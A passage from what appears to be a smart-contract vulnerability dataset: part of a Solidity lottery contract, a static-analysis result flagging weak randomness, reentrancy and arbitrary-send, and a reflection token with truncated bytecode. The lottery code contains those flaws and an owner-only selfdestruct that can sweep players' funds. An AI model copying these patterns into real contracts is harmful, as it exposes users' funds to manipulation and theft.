* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to resume, returns to normal state
*/
function resume() onlyOwner whenPaused public {
paused = false;
emit Resume();
}
}
contract LuckyYouTokenInterface {
function airDrop(address _to, uint256 _value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
}
contract LuckyYouContract is Pausable {
using SafeMath for uint256;
LuckyYouTokenInterface public luckyYouToken = LuckyYouTokenInterface(0x6D7efEB3DF42e6075fa7Cf04E278d2D69e26a623); //LKY token address
bool public airDrop = true;// weather airdrop LKY tokens to participants or not,owner can set it to true or false;
//set airDrop flag
function setAirDrop(bool _airDrop) public onlyOwner {
airDrop = _airDrop;
}
//if airdrop LKY token to participants , this is airdrop rate per round depends on participated times, owner can set it
uint public baseTokenGetRate = 100;
// set token get rate
function setBaseTokenGetRate(uint _baseTokenGetRate) public onlyOwner {
baseTokenGetRate = _baseTokenGetRate;
}
//if the number of participants less than minParticipants,game will not be fired.owner can set it
uint public minParticipants = 50;
function setMinParticipants(uint _minParticipants) public onlyOwner {
minParticipants = _minParticipants;
}
//base price ,owner can set it
uint public basePrice = 0.01 ether;
function setBasePrice(uint _basePrice) public onlyOwner {
basePrice = _basePrice;
}
uint[5] public times = [1, 5, 5 * 5, 5 * 5 * 5, 5 * 5 * 5 * 5];//1x=0.01 ether;5x=0.05 ether; 5*5x=0.25 ether; 5*5*5x=1.25 ether; 5*5*5*5x=6.25 ether;
//at first only enable 1x(0.02ether) ,enable others proper time in future
bool[5] public timesEnabled = [true, false, false, false, false];
uint[5] public currentCounter = [1, 1, 1, 1, 1];
mapping(address => uint[5]) private participatedCounter;
mapping(uint8 => address[]) private participants;
//todo
mapping(uint8 => uint256) public participantsCount;
mapping(uint8 => uint256) public fundShareLastRound;
mapping(uint8 => uint256) public fundCurrentRound;
mapping(uint8 => uint256) public fundShareRemainLastRound;
mapping(uint8 => uint256) public fundShareParticipantsTotalTokensLastRound;
mapping(uint8 => uint256) public fundShareParticipantsTotalTokensCurrentRound;
mapping(uint8 => bytes32) private participantsHashes;
mapping(uint8 => uint8) private lastFiredStep;
mapping(uint8 => address) public lastWinner;
mapping(uint8 => address) public lastFiredWinner;
mapping(uint8 => uint256) public lastWinnerReward;
mapping(uint8 => uint256) public lastFiredWinnerReward;
mapping(uint8 => uint256) public lastFiredFund;
mapping(address => uint256) public whitelist;
uint256 public notInWhitelistAllow = 1;
bytes32 private commonHash = 0x1000;
uint256 public randomNumberIncome = 0;
event Winner1(address value, uint times, uint counter, uint256 reward);
event Winner2(address value, uint times, uint counter, uint256 reward);
function setNotInWhitelistAllow(uint _value) public onlyOwner
{
notInWhitelistAllow = _value;
}
function setWhitelist(uint _value,address [] _addresses) public onlyOwner
{
uint256 count = _addresses.length;
for (uint256 i = 0; i < count; i++) {
whitelist[_addresses [i]] = _value;
}
}
function setTimesEnabled(uint8 _timesIndex, bool _enabled) public onlyOwner
{
require(_timesIndex < timesEnabled.length);
timesEnabled[_timesIndex] = _enabled;
}
function() public payable whenNotPaused {
if(whitelist[msg.sender] | notInWhitelistAllow > 0)
{
uint8 _times_length = uint8(times.length);
uint8 _times = _times_length + 1;
for (uint32 i = 0; i < _times_length; i++)
{
if (timesEnabled[i])
{
if (times[i] * basePrice == msg.value) {
_times = uint8(i);
break;
}
}
}
if (_times > _times_length) {
revert();
}
else
{
if (participatedCounter[msg.sender][_times] < currentCounter[_times])
{
participatedCounter[msg.sender][_times] = currentCounter[_times];
if (airDrop)
{
uint256 _value = baseTokenGetRate * 10 ** 18 * times[_times];
uint256 _plus_value = uint256(keccak256(now, msg.sender)) % _value;
luckyYouToken.airDrop(msg.sender, _value + _plus_value);
}
uint256 senderBalance = luckyYouToken.balanceOf(msg.sender);
if (lastFiredStep[_times] > 0)
{
issueLottery(_times);
fundShareParticipantsTotalTokensCurrentRound[_times] += senderBalance;
senderBalance = senderBalance.mul(2);
} else
{
fundShareParticipantsTotalTokensCurrentRound[_times] += senderBalance;
}
if (participantsCount[_times] == participants[_times].length)
{
participants[_times].length += 1;
}
participants[_times][participantsCount[_times]++] = msg.sender;
participantsHashes[_times] = keccak256(msg.sender, uint256(commonHash));
commonHash = keccak256(senderBalance,commonHash);
fundCurrentRound[_times] += times[_times] * basePrice;
//share last round fund
if (fundShareRemainLastRound[_times] > 0)
{
uint256 _shareFund = fundShareLastRound[_times].mul(senderBalance).div(fundShareParticipantsTotalTokensLastRound[_times]);
if(_shareFund > 0)
{
if (_shareFund <= fundShareRemainLastRound[_times]) {
fundShareRemainLastRound[_times] -= _shareFund;
msg.sender.transfer(_shareFund);
} else {
uint256 _fundShareRemain = fundShareRemainLastRound[_times];
fundShareRemainLastRound[_times] = 0;
msg.sender.transfer(_fundShareRemain);
}
}
}
if (participantsCount[_times] > minParticipants)
{
if (uint256(keccak256(now, msg.sender, commonHash)) % (minParticipants * minParticipants) < minParticipants)
{
fireLottery(_times);
}
}
} else
{
revert();
}
}
}else{
revert();
}
}
function issueLottery(uint8 _times) private {
uint256 _totalFundRate = lastFiredFund[_times].div(100);
if (lastFiredStep[_times] == 1) {
fundShareLastRound[_times] = _totalFundRate.mul(30) + fundShareRemainLastRound[_times];
if (randomNumberIncome > 0)
{
if (_times == (times.length - 1) || timesEnabled[_times + 1] == false)
{
fundShareLastRound[_times] += randomNumberIncome;
randomNumberIncome = 0;
}
}
fundShareRemainLastRound[_times] = fundShareLastRound[_times];
fundShareParticipantsTotalTokensLastRound[_times] = fundShareParticipantsTotalTokensCurrentRound[_times];
fundShareParticipantsTotalTokensCurrentRound[_times] = 0;
if(fundShareParticipantsTotalTokensLastRound[_times] == 0)
{
fundShareParticipantsTotalTokensLastRound[_times] = 10000 * 10 ** 18;
}
lastFiredStep[_times]++;
} else if (lastFiredStep[_times] == 2) {
lastWinner[_times].transfer(_totalFundRate.mul(65));
lastFiredStep[_times]++;
lastWinnerReward[_times] = _totalFundRate.mul(65);
emit Winner1(lastWinner[_times], _times, currentCounter[_times] - 1, _totalFundRate.mul(65));
} else if (lastFiredStep[_times] == 3) {
if (lastFiredFund[_times] > (_totalFundRate.mul(30) + _totalFundRate.mul(4) + _totalFundRate.mul(65)))
{
owner.transfer(lastFiredFund[_times] - _totalFundRate.mul(30) - _totalFundRate.mul(4) - _totalFundRate.mul(65));
}
lastFiredStep[_times] = 0;
}
}
function fireLottery(uint8 _times) private {
lastFiredFund[_times] = fundCurrentRound[_times];
fundCurrentRound[_times] = 0;
lastWinner[_times] = participants[_times][uint256(participantsHashes[_times]) % participantsCount[_times]];
participantsCount[_times] = 0;
uint256 winner2Reward = lastFiredFund[_times].div(100).mul(4);
msg.sender.transfer(winner2Reward);
lastFiredWinner[_times] = msg.sender;
lastFiredWinnerReward[_times] = winner2Reward;
emit Winner2(msg.sender, _times, currentCounter[_times], winner2Reward);
lastFiredStep[_times] = 1;
currentCounter[_times]++;
}
function _getRandomNumber(uint _round) view private returns (uint256){
return uint256(keccak256(
participantsHashes[0],
participantsHashes[1],
participantsHashes[2],
participantsHashes[3],
participantsHashes[4],
msg.sender
)) % _round;
}
function getRandomNumber(uint _round) public payable returns (uint256){
uint256 tokenBalance = luckyYouToken.balanceOf(msg.sender);
if (tokenBalance >= 100000 * 10 ** 18)
{
return _getRandomNumber(_round);
} else if (msg.value >= basePrice) {
randomNumberIncome += msg.value;
return _getRandomNumber(_round);
} else {
revert();
return 0;
}
}
//in case some bugs
function kill() public {//for test
if (msg.sender == owner)
{
selfdestruct(owner);
}
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,331 |
0xfae6abdfc4c2108728df936987a6d26136d6fccf
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ApesOfRock is Context, IERC20, Ownable {
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Apes of Rock";
string private _symbol = "AOR";
uint8 private _decimals = 9;
address public burnAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public _maxTxAmount = 1000000000 * 10**6 * 10**9;
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
(_allowances[sender][_msgSender()] - amount)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
(_allowances[_msgSender()][spender] + addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
(_allowances[_msgSender()][spender] - subtractedValue)
);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner {
_maxTxAmount = (_tTotal * maxTxPercent) / 10**2;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
"Excluded addresses cannot call this function"
);
(uint256 rAmount, , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function excludeAccount(address account) external onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (sender != owner() && recipient != owner())
require(
amount <= _maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount)
private
pure
returns (uint256, uint256)
{
uint256 tFee = (tAmount / 100) * 2;
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _burn(address account, uint256 amount) private {
(uint256 rAmount, , , , ) = _getValues(amount);
_rOwned[account] = _rOwned[account] - rAmount;
_rOwned[burnAddress] = _rOwned[burnAddress] + rAmount;
emit Transfer(account, burnAddress, amount);
}
function burn(uint256 amount) public virtual onlyOwner {
require(
balanceOf(_msgSender()) >= amount,
"ERC20: burn amount exceeds balance"
);
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount)
public
virtual
onlyOwner
{
require(
balanceOf(account) >= amount,
"ERC20: burn amount exceeds balance"
);
require(
allowance(account, _msgSender()) >= amount,
"ERC20: insufficient allowance"
);
_approve(
account,
_msgSender(),
(_allowances[account][_msgSender()] - amount)
);
_burn(account, amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063715018a6116100de578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e14610365578063f2cc0c181461039e578063f2fde38b146103b1578063f84354f1146103c457600080fd5b8063a9059cbb14610313578063cba0e99614610326578063d543dbeb1461035257600080fd5b8063715018a6146102c357806379cc6790146102cb5780637d1db4a5146102de5780638da5cb5b146102e757806395d89b41146102f8578063a457c2d71461030057600080fd5b80632d8381191161014b57806342966c681161012557806342966c681461025a5780634549b0391461026d57806370a082311461028057806370d5ae051461029357600080fd5b80632d8381191461021f578063313ce56714610232578063395093511461024757600080fd5b8063053ab1821461019357806306fdde03146101a8578063095ea7b3146101c657806313114a9d146101e957806318160ddd146101fb57806323b872dd1461020c575b600080fd5b6101a66101a13660046117f5565b6103d7565b005b6101b06104c7565b6040516101bd919061180e565b60405180910390f35b6101d96101d436600461187f565b610559565b60405190151581526020016101bd565b6007545b6040519081526020016101bd565b6a52b7d2dcc80cd2e40000006101ed565b6101d961021a3660046118a9565b610570565b6101ed61022d3660046117f5565b6105d8565b600a5460405160ff90911681526020016101bd565b6101d961025536600461187f565b61065c565b6101a66102683660046117f5565b610693565b6101ed61027b3660046118e5565b6106f2565b6101ed61028e36600461191a565b610786565b600a546102ab9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101bd565b6101a66107e5565b6101a66102d936600461187f565b610859565b6101ed600b5481565b6000546001600160a01b03166102ab565b6101b0610937565b6101d961030e36600461187f565b610946565b6101d961032136600461187f565b61097d565b6101d961033436600461191a565b6001600160a01b031660009081526004602052604090205460ff1690565b6101a66103603660046117f5565b61098a565b6101ed610373366004611935565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101a66103ac36600461191a565b6109db565b6101a66103bf36600461191a565b610b2e565b6101a66103d236600461191a565b610c18565b3360008181526004602052604090205460ff16156104515760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b60648201526084015b60405180910390fd5b600061045c83610dcb565b5050506001600160a01b0384166000908152600160205260409020549192506104879183915061197e565b6001600160a01b0383166000908152600160205260409020556006546104ae90829061197e565b6006556007546104bf908490611995565b600755505050565b6060600880546104d6906119ad565b80601f0160208091040260200160405190810160405280929190818152602001828054610502906119ad565b801561054f5780601f106105245761010080835404028352916020019161054f565b820191906000526020600020905b81548152906001019060200180831161053257829003601f168201915b5050505050905090565b6000610566338484610e17565b5060015b92915050565b600061057d848484610f3c565b6105ce84336001600160a01b03871660009081526003602052604081208691335b6001600160a01b03166001600160a01b03168152602001908152602001600020546105c9919061197e565b610e17565b5060019392505050565b600060065482111561063f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610448565b600061064961124c565b905061065581846119e8565b9392505050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916105669185906105c9908690611995565b6000546001600160a01b031633146106bd5760405162461bcd60e51b815260040161044890611a0a565b806106c733610786565b10156106e55760405162461bcd60e51b815260040161044890611a3f565b6106ef338261126f565b50565b60006a52b7d2dcc80cd2e400000083111561074f5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610448565b8161076d57600061075f84610dcb565b5092945061056a9350505050565b600061077884610dcb565b5091945061056a9350505050565b6001600160a01b03811660009081526004602052604081205460ff16156107c357506001600160a01b031660009081526002602052604090205490565b6001600160a01b03821660009081526001602052604090205461056a906105d8565b6000546001600160a01b0316331461080f5760405162461bcd60e51b815260040161044890611a0a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108835760405162461bcd60e51b815260040161044890611a0a565b8061088d83610786565b10156108ab5760405162461bcd60e51b815260040161044890611a3f565b806108b68333610373565b10156109045760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610448565b61092982336001600160a01b038516600090815260036020526040812085913361059e565b610933828261126f565b5050565b6060600980546104d6906119ad565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916105669185906105c990869061197e565b6000610566338484610f3c565b6000546001600160a01b031633146109b45760405162461bcd60e51b815260040161044890611a0a565b60646109cb826a52b7d2dcc80cd2e4000000611a81565b6109d591906119e8565b600b5550565b6000546001600160a01b03163314610a055760405162461bcd60e51b815260040161044890611a0a565b6001600160a01b03811660009081526004602052604090205460ff1615610a6e5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610448565b6001600160a01b03811660009081526001602052604090205415610ac8576001600160a01b038116600090815260016020526040902054610aae906105d8565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b6000546001600160a01b03163314610b585760405162461bcd60e51b815260040161044890611a0a565b6001600160a01b038116610bbd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610448565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610c425760405162461bcd60e51b815260040161044890611a0a565b6001600160a01b03811660009081526004602052604090205460ff16610caa5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610448565b60005b60055481101561093357816001600160a01b031660058281548110610cd457610cd4611aa0565b6000918252602090912001546001600160a01b03161415610db95760058054610cff9060019061197e565b81548110610d0f57610d0f611aa0565b600091825260209091200154600580546001600160a01b039092169183908110610d3b57610d3b611aa0565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610d9357610d93611ab6565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610dc381611acc565b915050610cad565b6000806000806000806000610ddf88611342565b915091506000610ded61124c565b90506000806000610dff8c8686611375565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610e795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610448565b6001600160a01b038216610eda5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610448565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610fa05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610448565b6001600160a01b0382166110025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610448565b600081116110645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610448565b6000546001600160a01b0384811691161480159061109057506000546001600160a01b03838116911614155b156110f857600b548111156110f85760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610448565b6001600160a01b03831660009081526004602052604090205460ff16801561113957506001600160a01b03821660009081526004602052604090205460ff16155b1561114e576111498383836113b1565b505050565b6001600160a01b03831660009081526004602052604090205460ff1615801561118f57506001600160a01b03821660009081526004602052604090205460ff165b1561119f576111498383836114cd565b6001600160a01b03831660009081526004602052604090205460ff161580156111e157506001600160a01b03821660009081526004602052604090205460ff16155b156111f157611149838383611576565b6001600160a01b03831660009081526004602052604090205460ff16801561123157506001600160a01b03821660009081526004602052604090205460ff165b15611241576111498383836115b8565b611149838383611576565b600080600061125961162a565b909250905061126881836119e8565b9250505090565b600061127a82610dcb565b5050506001600160a01b0385166000908152600160205260409020549192506112a59183915061197e565b6001600160a01b0380851660009081526001602052604080822093909355600a546101009004909116815220546112dd908290611995565b600a80546001600160a01b036101009182900481166000908152600160205260409081902094909455915492519204811691908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f2f9086815260200190565b600080806113516064856119e8565b61135c906002611a81565b9050600061136a828661197e565b959194509092505050565b60008080806113848588611a81565b905060006113928688611a81565b905060006113a0828461197e565b929992985090965090945050505050565b60008060008060006113c286610dcb565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506113f390879061197e565b6001600160a01b03891660009081526002602090815260408083209390935560019052205461142390869061197e565b6001600160a01b03808a166000908152600160205260408082209390935590891681522054611453908590611995565b6001600160a01b03881660009081526001602052604090205561147683826117cf565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114bb91815260200190565b60405180910390a35050505050505050565b60008060008060006114de86610dcb565b6001600160a01b038d166000908152600160205260409020549499509297509095509350915061150f90869061197e565b6001600160a01b03808a16600090815260016020908152604080832094909455918a16815260029091522054611546908390611995565b6001600160a01b038816600090815260026020908152604080832093909355600190522054611453908590611995565b600080600080600061158786610dcb565b6001600160a01b038d166000908152600160205260409020549499509297509095509350915061142390869061197e565b60008060008060006115c986610dcb565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506115fa90879061197e565b6001600160a01b03891660009081526002602090815260408083209390935560019052205461150f90869061197e565b60065460009081906a52b7d2dcc80cd2e4000000825b60055481101561178d5782600160006005848154811061166257611662611aa0565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806116cd57508160026000600584815481106116a6576116a6611aa0565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156116eb575050600654936a52b7d2dcc80cd2e40000009350915050565b600160006005838154811061170257611702611aa0565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611731908461197e565b9250600260006005838154811061174a5761174a611aa0565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611779908361197e565b91508061178581611acc565b915050611640565b506a52b7d2dcc80cd2e40000006006546117a791906119e8565b8210156117c6575050600654926a52b7d2dcc80cd2e400000092509050565b90939092509050565b816006546117dd919061197e565b6006556007546117ee908290611995565b6007555050565b60006020828403121561180757600080fd5b5035919050565b600060208083528351808285015260005b8181101561183b5785810183015185820160400152820161181f565b8181111561184d576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461187a57600080fd5b919050565b6000806040838503121561189257600080fd5b61189b83611863565b946020939093013593505050565b6000806000606084860312156118be57600080fd5b6118c784611863565b92506118d560208501611863565b9150604084013590509250925092565b600080604083850312156118f857600080fd5b823591506020830135801515811461190f57600080fd5b809150509250929050565b60006020828403121561192c57600080fd5b61065582611863565b6000806040838503121561194857600080fd5b61195183611863565b915061195f60208401611863565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b60008282101561199057611990611968565b500390565b600082198211156119a8576119a8611968565b500190565b600181811c908216806119c157607f821691505b602082108114156119e257634e487b7160e01b600052602260045260246000fd5b50919050565b600082611a0557634e487b7160e01b600052601260045260246000fd5b500490565b6020808252818101527f4f776e61626c653a2063616c6c6